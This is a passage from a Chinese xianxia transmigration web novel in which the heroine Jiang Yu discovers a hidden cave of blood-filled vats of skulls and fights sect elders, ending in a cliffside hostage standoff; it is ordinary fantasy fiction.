根据她多年看小说和电视剧的经验,一般这种幽闭屋内,理应是有什么机关或者密室什么的。
这道想法在她绕这道书架摆动了第五圈的时候,才彻底死心。
她长叹一口气,一屁股坐在了一旁的木椅上,后又突然想到什么,连忙起身拍打着自己身后衣裙沾染的尘土。
不对。
这里常年无人打扫,那晚罗淮阳为何会从这件屋内出来。
总不能真是那种避开尘世,潜心修炼这种一概不通的狗屁话吧。
这看着就不像是能住人的。
裙后一丝灰烬在微弱的灯光照应下格外突兀。
姜瑜单手捏着诀,另一只手试图将那块尘拍打干净,一个不留意间,她没站稳,脚下一滑,摔倒在地的同时手上条件反射的抓住了一个什么东西。
奈何那东西承受不住她的重量,也随之滚落到地面上发出声响。
指尖的光亮随着符诀的消散,也灭了下去,一瞬间周遭暗的伸手见不到五指。
姜瑜挣坐起身,地板与寻常屋内的地板不同,许是常年不受阳光,且无窗透风的缘故,格外冰凉潮湿。
紧接着一道轰隆的响声在屋内蔓开,这道声音随之撞到屋内先前被人早已步下的阵法上。
指尖微光再度亮起时,姜瑜已经双手支持站了起来,她借着光亮望向那道法阵——
阵法布的极其隐蔽,再细看,竟是最为简单基础的隔音阵。
也就是说,方才的那声巨响,只有屋内的姜瑜听到了。
再转身时,身后那两排书置木架中间竟自呈现出一道仅能一人容纳的石洞。
姜瑜抬脚踢了踢地上那个她摔到之前所抓的一个瓷瓶,瓶身滚落至一旁,她抬手摸了摸锦囊中的追踪符,才安下心来抬脚往里走了进去。
这洞口起先是小的,越往里走越大,从入洞开始,便是一眼望不到前的台阶,台阶一路向下。
待她再摸着黑迈步至下一道台阶时,四周突然灯光大亮,壁台上所立的蜡烛应先亮起。
顺着台阶一路亮到了最低处,姜瑜被吓了一跳,反应过来时便已然掐灭了手中微亮的咒诀,顺着台阶再往下走去。
38. 血缸
这洞穴的主人更像是有什么癖好,虽然姜瑜先前试图对人骨已经免疫,但看到时,心中难免一颤——
只见一道烛火从骷髅头中莹莹亮起,随后壁墙上每亮起的一道烛火中,都被一张人形头骨所罩着。
姜瑜颤颤巍巍的抬起手指,还为抚上那具颅骨,烛火随着她带起的风瞬间剧烈徭役了几分,她才猛地收回了手。
这东西也不是非摸不可。
顺着台阶再往下走,没多久便到了一处平地,周遭都是石壁,只有前方还有一个洞口,还未走进,一阵血腥味便扑面而来,让姜瑜忍不住顿了顿脚步,胃里瞬间翻江倒海。
她忍着不适,再往前走一道血光便映在了她的面颊上,迫使她眯了眯眼,手腕不自觉的抬到眼前,遮挡着这股光线,再抬眼时,自己已然走到了一处人造底下洞穴。
周遭有几个巨大石缸,缸内盛满了血色液体,那道血腥味再度扑鼻而来,比往前更甚,姜瑜一个没忍住干呕了几声。
再细看,每一个石缸内装满了将近几十个头颅骨,骨头被浸的时间长了,白里泛着红,触目惊心。
雨夜里的记忆再度涌上前来,姜瑜垂在身侧的手指发颤,她慌忙从锦囊中抽出应不妄塞给她的那张追踪符,指尖凝灵时,才惊觉四处被人布了法阵,根本用不上灵力。
姜瑜眉毛一拧,毫不犹豫的将符纸撕成碎片,准备往回退时,余光无意撇到了洞内最大的石缸缸后还有一处能容纳一人大小的洞穴。
她脚下犹豫片刻,忍着不适往前探去,前脚不过刚漫过洞内,只听身后一道熟悉的声音传来:“我当是谁呢?”
姜瑜寻声往身后看去,赵清砚一脸得意的站在洞穴入口处,她手里拿着一块木制黑盒,踱步向她走来。
鞋底踏过地面在洞内传来一阵阵有序的声响,回荡在这个密闭空间里,姜瑜收回向前走的脚,旋即转身面对着赵清砚,脸上扬起一抹从容的笑意。
赵清砚已然近身,四目相对时,她率先开口道:“原是姜瑜姑娘啊。”
姜瑜面上依旧笑着,而身在背后的手指尖试图凝起一股微弱灵力。
“别白费力气了。”赵清砚低垂着眼,似是瞥到了姜瑜背后的动作,“无灵阵内,就算是大乘真人来了,也聚不出半分灵力。”
“而你,姜瑜姑娘。”赵清砚猛地抬眼看向姜瑜那张清冷的面颊,眼底闪过一丝狡黠,话锋一转,语气狠戾说道:“在此之后,将会是我赵清砚的手下败将!”
姜瑜听后不紧不慢的掀了掀眼皮,冷哼一声,才说道:“平日里斗不过我就算了,现在还净想着用些旁门左道来赢我。”
“说到底,终究是技不如人。”
“你!”赵清砚气急败坏,没再过多废话,抬起手中那道黑木匣子,光波流转间只见它悬在空中,源源不断的为她送了超出世界存理的灵力。
姜瑜见状,她抬眼扫了一眼赵清砚,高挑纤瘦的身型放在女子中自然是正常养眼的美人,但若是扮成男子...准确来说,是扮成刘玉的话,反而便就多了几分病态。
“想必你就是那位在武道会比上单人起阵,出尽风头的人吧?”姜瑜冷眼看向眼前的赵清砚,只见后者身型明显一顿,她眼底闪过一丝不可置信,旋即又似是想到了什么,唇角处扬起一抹得意。
赵清砚道:“不可否认,你确实很聪明。”
“谢谢。”姜瑜礼貌回道。
赵清砚话锋一转,洋装惋惜道:“不过可惜,你活不长了。”
“劳烦问一下,我死之前有机会知道你要杀我的原因吗?”姜瑜实在不明白,书中原主母亲早死,父亲在书中几近未出现过,自己则是没日没夜的在主角团中作死。
她何德何能,惹来这么多想杀她的人啊?
赵清砚看向她,手中凝起的灵力一顿,轻言回道:“没有理由。”
“什么?”姜瑜没听清,侧头轻声问道。
“杀你,是因为你叫姜瑜,是青冥宗大师姐,是姜远山的孩子,没有理由。”赵清砚重复道,话毕,她将匣内的灵力早已吸收的大差不差了。
只见她指尖捻起一抹灵力,绿笛随灵而化,紧接着便变换成了一道长剑,手腕翻转用力之时,剑尖直抵姜瑜胸前一寸。
姜瑜这才垂了垂眼帘,她好一会才消耗完方才赵清砚所说的话,最终她将那些信息总结成了一句话:归根结底,还是姜远山造的孽。
“该说的我都说了。”赵清砚向前迈一步,尖锐的剑锋直抵姜瑜心口,还未用力,那周遭便已被染成了一道艳丽的红色花蕊。
姜瑜吃痛,闷哼一声,她站在原地未动分毫,也没有要躲的意味,反观赵清砚倒是皱紧了眉,开口问道:“你就不躲?”
姜瑜摊了摊手,不以为意,才回答道:“有心无力啊,现下我体内动用不了灵力,左右横竖都是死,为何还要白费力气?”
见姜瑜话说的在理,赵清砚一时间竟也无言以对,她手中撤去长剑,那剑聚灵而起,悬于空中,剑锋凌厉。
赵清砚手下微颤,于心,她虽对姜瑜处处刁难,但也没真正的想让她死在这。
奈何这是上面那人的命令,她又不得不从、不可违抗,犹豫之际,随着剑灵而去,那长剑直直向她面前的姜瑜而击。
危机时刻,一道白光骤起,迫使她抬起手来挡住那道强光,透过指尖缝隙,她见姜瑜锦囊中化出一道绿莹。
再细看,赵清砚骤然瞪大了双眼,几近同时,她开口道:“鸣月玉笛?!”
“它怎会在你手上?”
与此同时姜瑜也被这道莹光挡住了视线,再睁眼时,只余一把绿笛悬在她身前。
她微抬起手,紫流笛顺势落在掌心,才触碰到,由笛而散发出一道微凉,倒是让姜瑜不自觉地想起了应不妄的手。
姜瑜手中握着紫流笛,朝赵清砚晃了晃,才问道:“原来它真是鸣月玉笛啊?”
“果然是你。”赵清砚眼神微咪,她重新握回手中长剑,眼底泛出的杀意满满。
“如果我说这玩意真不是我偷的你信吗?”姜瑜微微挑了挑眉,看向对方
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,只见她面上依旧,旋即便泄了气。
好吧,看来她不信。
“少废话!”赵清砚这下心中仅存的一丝怜悯之心尽无,眼底处流露着无尽的杀意。
鸣月玉笛虽算的上是顶好的法器,但在这无灵阵中,姜瑜终归是发挥不了它最大的用途。
赵清砚也顾不得再聚灵力,怒火中烧之下竟提着长剑就直冲姜瑜,嘴中还不免同时念叨着:“姜瑜,今日就是你的死期!”
“这笛子是刘苏叶给我的,我知道这话从我嘴里说出来你必不会相信。”姜瑜也握起手中的绿笛,手腕翻转忙于应对赵清砚发来的一次次格挡。
她用不上灵力,这笛子便不能同赵清砚那笛子一般,化成长剑,只得保持它最初始的模样替她挡下格格攻势。
剑笛相碰间在洞内发出一声声回响,姜瑜没了灵力的支撑,腿上也泛起了旧疾,以至于应对赵清砚的攻势也明显弱了几分。
赵清砚见状也面上这才冷静下来对着姜瑜弯了弯唇角,随着指尖灵力聚向剑柄,手上稍一用力,一道剑风便直冲姜瑜山身前扫去。
姜瑜反应及时,并未多加硬抗,翻身向后一仰,堪堪躲过那道凌风剑气,那道剑气擦过她的发丝,来势汹涌,将她身后的那座石缸硬生生砍碎了去。
石缸破碎,里面的红色血水随之在洞内炸裂开来,两人来不及躲散,一瞬间整个洞内皆被染成褐红色。
姜瑜摸了把喷溅在脸上的秽物,她硬撑着站直了身子,再看赵清砚,她亦不容乐观。
他们的衣裙早已辨不出原本的颜色,缸内的头颅随着石缸的炸裂,有的被方才那道剑气割碎成了渣,有的则顺着炸裂开来的血水滚滚而流,一道道滚在地上。
赵清砚嫌恶的皱紧了眉,一瞬间她恰起手中法诀径直屏住了自身的鼻息。
而姜瑜则用不出灵力,血腥泛出的铁锈味直击天灵盖,她连忙憋住气,才没忍着不适吐出来。
这味道闻着比杀了她还难受。
几近同时,一道熟悉且醇厚的声音从洞口的方向传来:“这点小事都办不好,老身留你有何用?”
刘苏叶瞬身而来,她周身被灵力围绕着,只身沾染不到洞内一丝血迹,就连气味也暗自隔绝开来。
两人皆向刘苏叶瞬来的方向看去,赵清砚率先开口道:“师父,她手中为何会有鸣月玉笛?”
刘苏叶这才侧了侧眼,望向另一边腰杆挺的极直的姜瑜,光是看上一眼,就能察觉到她浑身上下透着的那股不服输的劲。
刘苏叶垂了垂眼帘,她才开口道:“那毕竟是远山留给紫星阁的,能让她在死之前碰上一碰也无关紧要。”
话音刚落,洞内便传来一声不屑的冷哼声,只见她抬手将那染了血色的笛子握在空中,旋即当着其他两人的面,手中一松,笛子卸了力直直往地上砸去。
那笛子倒在血泊中,砸吧着弹了两声,溅起一波血水,随后滚了几圈,才落到刘苏叶脚边。
姜瑜沙哑的声音随之传来:
“假、惺、惺。”
39. 打架用灵力犯法吗
刘苏叶波澜不惊的看着眼前的一切,随后她才得出空来看向面前满脸糊了血迹的少女,才笑道:“长的虽向像你娘,这脾气倒随了你爹。”
姜瑜面无表情的看着她们两人,脸上毫无惧色,现在于她而言,生死早已无关紧要了。
“害死这么多人,你就不怕他们半夜来找你索命吗?”姜瑜张着嘴,沙哑的声音从她嘴中说出,她盯着刘苏叶,淡淡开口。
刘苏叶面上依旧挂着笑,她几步走上前,抬起手,也没嫌弃姜瑜身上的血渍,为她练去一缕挡住视线的发丝,她道:“有些事,不是你我能决定的。”
“我也不愿你去赴死。”
“但我也有我的难处,身为晚辈,理应互相体谅体谅,不是么?”
话音刚落,两人之间一道长剑直面扑而来,擦过姜瑜的面颊,硬生将刘苏叶是食指划破了一道口子。
姜瑜反应极快,她忍者腿上的痛楚,连忙蹲下身子,靠着另一条没残的腿,在刘苏叶身下一扫,绊倒她的同时也将几步外的玉笛再次扫回手中。
身子在血泊中转了个圈,她再站起身时背对着刘苏叶,微微侧头,看向方才一时情急被她绊倒在地的女人。
刘苏叶当时卸了防备,被这道剑气应的措不及防,她双手撑在地面上,身上所溅之处同姜瑜一样沾满了血水。
她尖叫一声,尖锐刺耳的声响从洞内回荡开来,赵清砚连忙上前,试图将她搀扶起身,在她那双溅到血渍的手抚上刘苏叶的胳腕时,却被对方狠狠一拍,只听她道:“老身自己来!”
“不要拿你的脏手碰我!!”
姜瑜看向方才飞剑而来的方向,只见应不妄一道俊美的脸庞伴随着台阶而下,伴随着盈盈烛光,一步步向她逼近。
他脸上没了素日里惯有的笑意,眼睫微眨的同时,向看狗一样的眼神扫向才刚刚爬起,满身满脸狼狈的刘苏叶。
无望剑在洞内绕了一圈,旋即又乖乖的飞回了应不妄手中,他握起手中长剑,眼中闪过一丝狠戾,再扫向姜瑜那张沾染了血迹的脸上时,才堪堪透出一抹温和。
姜瑜看向他,相视以后便率先随之一笑,她微张起胳膊,在应不妄身前晃了一圈,才解释道:“师弟不用担心,这身上没一处是我的血。”
裴恒之拧着眉嫌弃的踩着血泊走近姜瑜,距离几步之遥时,他才张了张嘴,说道:“才一个时辰没见,就把自己搞成这副鬼样子。”
刘苏叶狠狠剜了他们一眼,她嫌恶的看着自己沾染全身的血渍,随后指尖灵咒一捏,瞬身而走时还不忘将洞口处的石门关上,只给赵清砚留下一句话在洞内回荡:
“这里交给你了,趁他们都用不上灵力,解决完他们你再去向主上那边请罪。”
赵清砚望着刘苏叶离去的背影,只一霎,手中便已然重新凝起一道绿色灵力。
她手中的法器伴随着灵力的浇灌,变换回长笛,一道道音符随之从笛中涌出,盘绕于他们三人周边。
姜瑜撇眼看向一旁的应不妄,眼神传达间,只见对方耸了耸肩,而后理所应当的开口提醒道:“她走的时候不是说了吗,我也用不上灵力。”
“那你怎么敢只身来救我的?”姜瑜没忍住发问。
“鬼知道你这儿跟那个死无境一样,都不能用灵力。”应不妄答道。
姜瑜:我也很想知道,难道打架用灵力真的犯法吗?
谈话间,赵清砚的音符早已于这密闭空间中缓步收紧,随之化作一道道锋利的利器攀在他们二人周遭。
应不妄最先察觉,旋即将姜瑜护在身后。
赵清砚也不再过多废话,她所能用的灵力有限,方才在姜瑜身上耗费太多,她此次的攻势只可一击毙命,不能再有半分差池。
随着她指尖微落,数百道音符顺势朝着姜瑜他们二人飞身而去。
情急之下应不妄连忙拉住姜瑜的手腕,两人互相背靠着彼此,他们手中的长剑与玉笛同时向身前挥舞而去,将身前几道音符击散开来。
奈何对方攻势太多,稍不留神应不妄与姜瑜的胳膊腿腕出便擦出几道血渍。
应不妄干净的衣襟没多久也随这一层层的红晕散开,侵染了全身。
应不妄手中长剑翻转间,只听身后一声闷哼,旋即姜瑜体力不支便半跪在地,几道音符顺势击向她的心口处。
千钧一发之时,只见另一座石缸后的那道洞口处,一道醇厚浓重的灵力似不受这阵法的约束,骤然外泄,无差别地镇压这这处洞内的所有人。
紧接着便是一道瓷瓶破碎的声音,步于周遭的无灵阵骤然破裂,留存于自然之间的灵力顺着那些破口,竞相涌入。
应不妄来不及细想,丹田内接触到外界灵力的一瞬间,他手中捏起几道符纸,随着咒术加持,那几道符纸悬于空中,直冲着方才还在操纵音符的赵清砚。
这攻势来的措不及防,赵清砚还未来得及将音符收回护身,却已然被应不妄的符纸团团围住。
应不妄不给她任何空隙,随着丹田内灵气逐渐充裕,身上的伤痛也缓了几分。
悬在赵清砚周遭的符纸应灵而上,幻化成与方才音符同样的利器,数道裹挟着灵气的符,直击她心口。
赵清砚吃痛,随之便是数以百倍的叫喊声,响彻洞内,与才刘苏叶的尖叫声如出一辙,却又大不相同。
她痛倒在血泊之中,浑身除了痛的发颤,双眼死死瞪着应不妄,浑身却拿不出分毫力气与之对抗。
应不妄冷眼看向倒在自己身前的赵清砚,当他提剑刚要再补一刀时,便听身后姜瑜止不住的咳嗽随着随之而来。
他寻声望去,只见姜瑜背对着他,手中长笛撑地,半跪在血泊之中,起先是一阵小咳,随后而来的是肩膀猛烈抖动般剧咳。
应不妄收回无望,几步上前,他同样半蹲在姜瑜身前,扶起对方的两侧肩头,紧紧皱着眉头,张了张嘴,方能找回自己的一丝声线:“师姐你...”
姜瑜将手搭在应不妄
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胳臂上,另一只手则握着紫流笛朝他摆了摆,随后便借着手中力道稳稳站直。
她缓缓转身看向身后的赵清砚,喉间吞了吞才沙哑着声音开口说道:“就让她在这待着吧。”
“如今这般模样。”姜瑜顿了顿,手中双拳紧紧握起,才接道,“活着比死了更痛苦。”
姜瑜从应不妄胳膊上抽回手,她低垂眼帘着看向自己满手或干或湿的双手,血渍模糊,早已分辨不出究竟是自己的亦或是其他无辜性命的血水。
她视线逐渐朦胧,丹田内方才恢复的灵力才及时保住了她的性命,此刻身上似蚂蚁撕咬般密密麻麻的痛席卷全身。
“我有点累了。”姜瑜轻言开口。
片刻她掀了掀眼皮,侧头对身旁的应不妄重复道:“师弟,我有点累了。”
应不妄手中微颤,犹豫之际他欠身拉住了姜瑜的手,往前走了两步,开口说道:“那我们回去休息。”
“好。”姜瑜回着,这声音及轻,在空中回荡一瞬落到应不妄耳边,还未等他反应,身后的少女便卸了力,扑面倒向他的后背。
应不妄反应及时,他不顾姜瑜身上的血水污渍,只在侧身的同时将姜瑜半搂在怀中。
旋即一只手臂从她膝弯处穿过稳稳托住,而另一只手臂自然而然的环过她腰背扣在另一侧,稍一用力便将人打横抱起。
只一记眼神,他身后的无望剑便顺着应不妄的灵力相聚,生生靠蛮力碎掉了那道石门,转眼间二人瞬失于血洞之中。
*
此刻外面已是一片墨黑,没了烛火的映照,听雨苑外一片寂静祥和,就连虫鸣声都懒得再出来叫唤。
应不妄才刚将怀中浑身是血的姜瑜放到屋内的雕花木制床上,停下歇口气的时间,他甚至都没来得及去给师姐盖上棉被,屋外嘈杂混乱的声音由远及近。
他手中动作微顿,旋即不动声色的为姜瑜盖上了一层棉被,再起身时,他随意的拭去脸上一抹血色擦伤,手中微握,无望剑顺势飞过,显现于他掌中。
屋门紧紧闭着,应不妄看向一旁在床上躺得安详乖张的师姐,伸出的半截手,在想到什么时,却又缩了回来。
师姐说过,她说他的手凉。
应不妄手中拳头握了握,便听屋门外一道清晰洪亮的声音传来:“把姜瑜交出来我们还有的商量。”
巧蝶话音刚落,屋门自内打开,应不妄那张俊美的脸颊直映眼前,少年脸上那道擦伤早已再度嵌出了血迹,额前的碎发随着晚间的微风被吹的晃了几许。
他抬眼时,眼底似少了往日般肆意和妄为,多了几分冷清与梳理,这是巧蝶从未见过的样子。
她结巴了两句,随后抬起手中配件往身前一挡,吞了吞喉咙才道:“若不想两派把关系闹僵,劝应少侠还是识趣些,把屋内那个盗窃我阁密宝之人交出来!”
应不妄闻言轻轻抬了抬眼帘,随后便是一阵轻嘲:“我青冥宗能与你们紫星阁并称四大宗门...”
40. 缠斗
话说到此,巧蝶满脸疑惑的看向门前那位少年,只听他再度开口时,声音极轻,但站在最前面的她又听得极清:“简直是百年耻辱。”
话音刚落,巧蝶手中佩剑也随之而起,她声音铿锵有力,先是足尖点地,在空中飞身上前,剑锋直指门前的应不妄:“纵使你曾于我有救命之恩,我也不许你如此羞辱我紫星阁。”
“讲的是事实,又何来羞辱之说。”应不妄轻掀了掀眼皮,他随意的再次将脸上那道血痕拭去,便不再多有废话。
只见他手上率先抬起无望剑,聚灵而起的同时,剑身随着他的灵力波动,剑锋交错,也直抵身前的巧蝶。
巧蝶率先抬起手中佩剑,以灵化盾于虚无之中,只瞬间紧接着便是一阵巨响。
她的修为不敌应不妄,连带着身后的一众紫星阁弟子皆被这道冲击力击的连连后退几步。
应不妄不给其余人反应的机会,手中符纸应势而飞,辗转之间几道符纸早已将除去巧蝶之外的一众弟子困于其中,形成一道符阵。
紫星阁内弟子不通符咒之法,自然不敢轻举妄动,先前被那道剑气振伤的巧蝶先是甩出手中佩剑,一道厉风之下,那柄长剑剑锋擦过应不妄的发丝,甩至数丈远。
巧蝶单手撑着膝盖才勉强站起身来,体内的内力在方才对抗应不妄那道剑气之时早已空竭,她嘴角边还挂着一抹血迹,轻声开口道:
“不管你对我们紫星阁有什么恩恩怨怨,你冲我来,别伤害她们。”
应不妄闻言收起想要继续攻进的手腕,那团团符纸却依旧将她们围困于其中。
他微微挑了挑眉,嘴角几不可查的扯起一抹轻嘲之意,他转头看向一旁的少女,才道:“搞清楚,是你先来找师姐麻烦的。”
“也是你,不顾及两派情谊,先一步问罪于我们的。”
“怎么还有脸打着一副可怜姿态,伪装成受害者,在我面前惺惺作态的?”
巧蝶被应不妄这一通话怼的哑口无言,她嘴唇微张了张,还未开口再说些什么,空中一道瞬身发咒应势而来,其中还裹挟着一众醇厚灵力,直冲应不妄。
应不妄反应极快,他本可以侧身躲过,一瞬间他似又对身后屋门内的人有所顾虑,手中佩剑虚握之时,硬生抗下了这一道灵力。
又是一声巨响,声音瞬间漫至整个听雨苑乃至紫星阁,震出的声音惊动了周遭的花草树木也跟着响动起来。
一道刺眼银光闪过之后,应不妄先前所步的符阵已然被震开。
巧蝶这才没了顾虑,先一步盘坐先地,随着手中灵力符咒相聚,几道音符旋即化作尖锐的利器,飞向应不妄那道方向。
应不妄才刚硬生接下一道灵力,喉间一腥,猛地吐出一口鲜红,还未看清眼前对他发起攻势的人,几道音符化作的利器便接连飞来。
他手中符纸顺势飞出,奈何音符数量之多,攻势之快,在符纸建起护罩的前一刻,有几道音符抢先划破他的胳腕肩侧。
衣襟上的血渍愈来愈多,一道道晕开,他低垂着眼,用剑撑地半跪于门前,眼中先是映入一道素雅白净的鞋靴。
应不妄喉咙滚动,他没抬眼去看面前的人,脸上溢出的血渍刚好滴落在那道素白鞋靴上。
这时站在他面前的刘苏叶率先开口说道:“我们紫星阁也不过是想要一个态度,少侠何必总拿两派交情说事呢?”
“态度?”应不妄没忍住轻笑一声,他抬起手腕随意的擦去唇角边的血渍,再抬眼时眼底闪过一丝狠戾,“什么态度?”
“鸣月玉笛的态度吗?”
“那破笛子怎么到我师姐手中的,刘长老难道不比我清楚?”
话音刚落,应不妄身前一道灵咒只瞬间从他心口穿刺而过,他忍痛闷哼一声,喉间腥味再度袭来,喷向方才站在他面前的素白鞋靴上。
刘苏叶嫌恶的后退几步,她猛地瞪向不远处还在施着音符咒术的巧蝶,而后者被她的一记眼光收回了强加在应不妄上的攻势。
就在刘苏叶掌中凝起一股灵力之时,她还未来得及再度向应不妄攻去,只听屋内一阵瓷器碰撞的响声,她旋即收回了灵力,广袖一挥瞬至屋内。
应不妄还未来得及跟上阻拦,侧方不远处巧蝶的攻势便再度袭来,先前他受了太多伤,此刻应对巧蝶之时难免有些吃力,但总归不在话下。
刘苏叶前脚刚瞬至屋内,应不妄后脚就闪过巧蝶的一道法咒也跟了上来——
屋内陈设依旧,木制的地板上还有才不久故意被摔坏的茶杯,床边还蹭了先前姜瑜身上所沾染的些许血渍,只是屋内没再见她的身影。
应不妄见状手中握着剑柄的手微微一顿,抬脚刚要瞬走去找姜瑜,他后身便又袭来一道音符,才刚刚躲过,巧蝶拖着受了伤的身躯再度赶来。
应不妄见状先是不耐烦的拧着眉看向屋门口的那位少女,随后紧接着手腕翻转间无望剑也朝门口的方向飞空而去。
刘苏叶只轻轻撇了一眼身后缠斗在一起的二人,整张脸上泛着冷意,她抬手灵力一挥,纵然消失于屋内,只留他们在屋内打斗。
*
姜瑜是被屋外的巨响惊醒的,她细听了听屋外的动静,虽知道以应不妄的实力能够轻而易举的做到以一打多,奈何刘苏叶那个老狐狸也跟着来凑热闹了。
说到底她们的目标始终是她。
于是她迅速的从木柜中取出一道干净的披风披于身上,摔碎瓷杯的同时她顺势瞬身于紫星阁西侧往山顶必经的一道草原之中。
姜瑜受伤严重,在屋内用了一道瞬身符后便再无其余精力去施展其他灵力,此刻便半拖着身子一步步往山顶爬去。
手中紧紧握着那枚紫流笛,再迈出前脚时,脚底一个打滑平摔倒在地,掌中被划破了血痕,她双手撑于地面,石子硌得她倒吸了一口凉气。
再爬起身时,身侧陡然出现一道沾了血渍的鞋靴,她抬起头恶狠狠的剜了刘苏叶一眼,只见对方饶有兴趣的蹲在她身前,才道:“老身记性不大好,都忘了告诉你...”
说罢,她停顿片刻,抬手装模做样的为姜瑜打理好额前的碎发,随后手腕一转,将紫流笛从她手中夺过,细细端详了几分后却又甩扔在地,给了她,才道:
“这笛子在我手中呆了这么些年,老身怎会连它的
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位置都辩不出来。”
姜瑜冷笑一声,偏过头去没再理会面前这个疯女人,她眨了眨眼看向一侧,余光处恰好瞥见一抹桃粉色,随后便是沈晚宁的声音传入耳中:
“放开我师姐!”
与此同时,一道裹挟着灵力的符咒顺势飞出,划破了刘苏叶肩膀一侧,待那符纸再度袭回时,却被刘苏叶一手抓住,瞬间碾成了灰烬。
沈晚宁说到底是后来才入的青冥宗,虽算得上天资卓越,但修行年数尚少,并非刘苏叶的对手。
刘苏叶只撇了一眼侧后旁的沈晚宁,她站起身来的功夫,沈晚宁便提着剑瞬身前来,再度擦过刘苏叶的一侧,剑气所击之处,杂草燃起一抹煋火。
与此同时,姜瑜迅速捡起身旁的紫流笛,灵力自天地而来,瞬间充沛全身,她聚灵化笛为剑,手中不给刘苏叶分毫喘气的机会,携着剑风一带而过。
巨大的冲波下,沈晚宁也顺势出击,刘苏叶被她们二人两两夹击,应顾不暇之时,裴恒之和常远也恰好好刚到。
他们两人也不过刚和好如初,化干戈为玉帛,常远并不知其中内情,他见状先是眉头一皱,再看向身侧的裴恒之,才扭头向不远处的刘苏叶喊话道:
“刘长老,您对姜瑜姑娘肯定有什么误会,不妨静下来好好谈谈?”
姜瑜抽空撇了一眼常远,她浑身血渍,天湖色披风在空中顺着灵力裹挟出的微风微微飘荡,她才张口道:“常远少侠,你怕是对我跟刘苏叶的恩怨有什么误会。”
“有些事不是好好谈谈就能谈明白的。”裴恒之手提佩剑,格挡在常远身前,先一步开口解释道,“你先回紫星阁,这里没你的事。”
见常远犹豫不定,裴恒之扭头轻撇了一眼身侧的少年,他抿了抿唇,才道:“你想在这呆着也未尝不可,但奉劝你最好哪边都别插手。”
常远犹豫的扫向前方还在缠斗的三人,最后目光定格在裴恒之脸上,他嘴唇颤了颤。
他突然想到了之前姜瑜对他说过的一句话:立场不同,撤去立场,你们还是你们,你们还是朋友。
片刻后他哑声开口,冲着早已飞身上前的裴恒之喊道:“你们的恩怨我不插手,今日...”
“今日我就当没来过这里。”
刘苏叶听后不争气的看向不远处的常远,没来得及开口训斥些什么,便被裴恒之突如其来的一道攻势击得后退了几步。
刘苏叶虽身居紫星阁长老一职,修为深厚,但终寡不敌众,在他们三人连番的攻势下,精力早已不如始前。
她揪准时机一个翻身,手指间顺势划破一道血珠,血珠飞剑于空中,瞬间化作层层厄气。
与此同时,她体内修为大涨,掌中不断涌出一道道黑雾,瞬间遮挡住了他们的视野。
姜瑜手中握着长剑,她此刻嗓子干哑的难受,喊不出话来,只得警惕的看向四周的一片漆黑。
她亦听不见其他人的喊声,此时身上的披风早已散落了一半,半披在肩侧摇摇欲坠。
突然,姜瑜的手腕间骤然被另一只冰凉的手掌握住,还未来得及反应,她整个人便已随着那股蛮力扯走。
41. 二选一
黑雾消散之时,姜瑜腕间还被人扯着,再抬眼时身侧的刘苏叶周身散发着厄气。
沈晚宁跟她一左一右的困于刘苏叶两侧,方才黑雾来得迅速,她们都没来得及反应。
此刻已然中了刘苏叶散灵散,浑身乏力更是用不出半分灵力。
刘苏叶扼着沈晚宁的喉咙,她发不出话音,而姜瑜的手也被刘苏叶用力扯着,她此时嗓子干哑的难受,再往后看,身后几步远便是万丈悬崖。
待眼前的黑雾彻底散去后,刘苏叶突然笑了,她发出的笑连带动脸上的皱纹一块颤,眼底不断迸发出的黑气格外突兀。
再张口时,便是一道不辨男女的雄厚声音:“瑜儿啊,你真是糊涂。”
“明明死你一个人就够了。”
"明明死你一个就够了!!"刘苏叶雄厚的声音越说越激动,被她强困于身旁的沈晚宁和姜瑜都忍不住侧了侧头,“是你非要把他们拉下水的!”
“是你!”
姜瑜不动声色的看向身侧这位面目狰狞的老者,只见刘苏叶狠狠瞪了一眼沈晚宁,随后面上一副狡黠姿态。
她旋即扭头看向一旁的姜瑜,开口问道:“不若我们猜猜,你们之中的谁会是裴恒之心中最重要的人吧?”
话毕,刘苏叶旋即猖笑出声:“手心手背都是肉呢。”
话音刚落,裴恒之携着一股剑气直冲而来,在看到刘苏叶身侧的两人后整个人顿住,他连忙扭转方向,剑风擦过他们,直直将一旁的巨石击碎。
方才那道黑雾袭来时,他率先反应屏住气息,随后便出声提醒她们捂住口鼻,奈何这毒障也将人的声音隐了去,这才让刘苏叶有了可乘之机。
他皱着眉,朝着刘苏叶的方向应声问道:“你究竟想如何?!”
刘苏叶听后冷哼一声,她看向身前不远处的少年,手上的力道又加重了几分,姜瑜被她握着手腕伤口处,疼的倒吸了一口凉气。
反观沈晚宁也不容乐观,她被扼着喉咙,几近窒息的同时,她瞅准了时机猛咬了一口刘苏叶的手掌,血腥味蔓至唇边,刘苏叶吃痛手中猛地聚起一道灵力,狠狠的给了她一掌。
沈晚宁被这一掌伤的不轻,闷哼一声唇角处溢出一抹血渍,她再度被刘苏叶一把扯回时,对方掌中灵力再聚,将她和姜瑜两人连连逼退至崖边。
刘苏叶脸上扬着笑,她眼神空洞,周身时不时的还散出雾色疠气,开口喊道:“裴少侠,我们来玩个游戏如何?”
裴恒之看向手中的疯女人,手上不自觉的握紧了佩剑,他紧皱着眉扫向身前,警觉问道:“什么游戏?”
“你是更想让沈姑娘活呢,”刘苏叶言语间顺势抬起手中疠气,将沈晚宁又逼退身后数步。
而后她掌中又团起一抹灵力,看向身侧的姜瑜,才道:“还是想让瑜儿去死啊?”
姜瑜撇了她一眼,在心中默默的翻了个白眼,这两句话左右不都是没想让她活的意思吗。
她身后便是万丈深崖,沈晚宁此刻不过才刚刚缓过来,她呼吸沉闷,忍着伤痛超裴恒之喊去:
“裴师兄,你救师姐吧,我先前坠过一次崖,没事的,现在不是好好的站在着吗。”
在场的三人闻言皆将目光投过去,没人去拆穿她那拙劣不通的理由,一次是幸运,那第二次,第三次怎会都刚刚好,人不会接二连三的幸运。
姜瑜离得近,方能看清少女的手有一半缩在袖口中,细白的手指此刻颤的厉害。
她能明白沈晚宁的害怕,就好比那天她在雨夜里看到的人骨,即便再尽力去克服,也终究会留下一片阴影,挥之不去。
晨时初升的温阳随着一道熟悉的机械电子声音一同出现,光线打在姜瑜的脸上,泛起了一抹温和。
[恭喜宿主大人达到新的剧情点,还请宿主大人尽快按照原剧情轨道扮演好“姜瑜”这个角色哦~]
姜瑜眼前闪过一抹白光,迫使她眯了眯眼,再抬眼时空中已然浮出几行字。
她手中此刻还握着紫流笛,在看到身侧的杂草枯树时,心里便有了数。
“怎么?”刘苏叶突然开口问道,“难不成裴少侠是两个都舍不得?”
裴恒之手中已然凝起一抹灵力于剑之中,还没来得及发力,却被身前的的刘苏叶一眼看穿。
